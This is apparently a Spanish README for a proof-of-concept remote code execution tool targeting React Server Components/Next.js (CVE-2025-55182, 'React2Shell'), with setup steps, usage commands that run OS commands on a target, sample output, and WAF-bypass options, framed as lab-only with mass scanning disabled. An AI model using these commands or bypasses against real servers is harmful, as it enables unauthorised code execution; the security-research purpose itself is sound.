
Detección Basada en Precisión de Vulnerabilidades de Ejecución Remota de Código en RSC/Next.js (CVE-2025-55182, CVE-2025-66478)
CVE-2025-55182 – PoC de RCE en React Server Components
Cliente de exploit educativo para el laboratorio React2Shell de Hidden Investigations.
Este repositorio contiene una herramienta de exploit de prueba de concepto (PoC) para un solo host para la vulnerabilidad React2Shell (CVE-2025-55182) dirigida a aplicaciones React Server Components / Next.js mal configuradas.
Está diseñado para usarse solo contra el laboratorio React2Shell oficial de Hidden Investigations o sistemas que poseas o administres explícitamente.
Este proyecto se proporciona estrictamente para fines educativos e investigación de seguridad defensiva:
Al usar esta herramienta, aceptas cumplir con todas las leyes y regulaciones aplicables.
whoami por defecto)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, cabeceras personalizadas)-o/--output, --all-results)requestsInstala las dependencias mediante:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
Ayuda básica:
python3 react2shell-scanner.py -h
La herramienta requiere una URL objetivo:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# or
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
Si la ejecutas sin -t/--target o -u/--url, imprime un mensaje de ayuda con marca y sale.
Nota: Este PoC es solo para un solo host. La opción
-l/--listestá presente pero intencionalmente deshabilitada.
Ejemplo de modo silencioso (salida limpia de múltiples líneas):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
Salida:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
Las siguientes banderas existen para reflejar la CLI de Assetnote, pero no están implementadas en este PoC para evitar el uso indebido de escaneo masivo:
| Opción | Estado |
|---|---|
-l, --list | No implementada |
--threads N | No implementada |
Si usas -l/--list, la herramienta mostrará una advertencia y saldrá, sugiriendo que uses el react2shell-scanner original de Assetnote para escaneo seguro a gran escala.
Ejecutar contra el laboratorio local:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
Usar bypass de WAF con un campo basura más grande:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
Múltiples rutas en el mismo host:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
Rutas desde archivo:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
Modo de verificación segura (sin ejecutar comandos del SO):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
Salida JSON de resultados a archivo:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
Cuando se usa -o/--output, la herramienta escribe un array de objetos como:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner.Este proyecto está licenciado bajo la Licencia MIT. Consulta LICENSE para más detalles.
📬 Contáctanos: [email protected]
| Opción | Descripción | Por defecto |
|---|
-t, --target | URL o dominio objetivo (requerido a menos que se use --url) | Ninguno |
-u, --url | Alias de --target (bandera estilo Assetnote) | Ninguno |
--path | Ruta a probar (se puede usar varias veces, ej. /, /_next) | / |
--path-file | Archivo que contiene rutas a probar (una por línea) | Ninguno |
| Opción | Descripción | Por defecto |
|---|
-c, --command | Comando a ejecutar en el objetivo (cuando la explotación tiene éxito) | id |
--safe-check | Usar un payload SAFE_CHECK (sin comando del SO, solo una cadena de marcado) | desactivado |
--windows | Ajustar valores predeterminados para objetivos Windows (ej. usar whoami cuando el comando es id) | desactivado |
--waf-bypass | Anteponer un campo multipart basura grande al cuerpo de la solicitud para evasión de WAF | desactivado |
--waf-bypass-size KB | Tamaño del campo basura en KB al usar --waf-bypass | 128 |
--vercel-waf-bypass | Usar un diseño multipart alternativo para ajustar el comportamiento del WAF de Vercel (PoC simplificado) | desactivado |
| Opción | Descripción | Por defecto |
|---|
--timeout SECONDS | Tiempo de espera de la solicitud en segundos | 15 (o 20 si --waf-bypass y no se estableció tiempo de espera) |
-k, --insecure | Deshabilitar verificación SSL (como curl -k) | desactivado |
-H, --header | Cabecera personalizada, ej. -H "X-Forwarded-For: 127.0.0.1" (repetible) | Ninguno |
| Opción | Descripción | Por defecto |
|---|
-o, --output FILE | Escribir resultados JSON en FILE | Ninguno |
--all-results | Al usar --output, incluye también resultados no vulnerables | desactivado |
-v, --verbose | Modo verboso – muestra el estado HTTP y la cabecera X-Action-Redirect | desactivado |
-q, --quiet | Modo silencioso – imprime solo la salida normalizada del comando en caso de éxito | desactivado |
--no-color | Deshabilitar la salida de terminal coloreada | desactivado |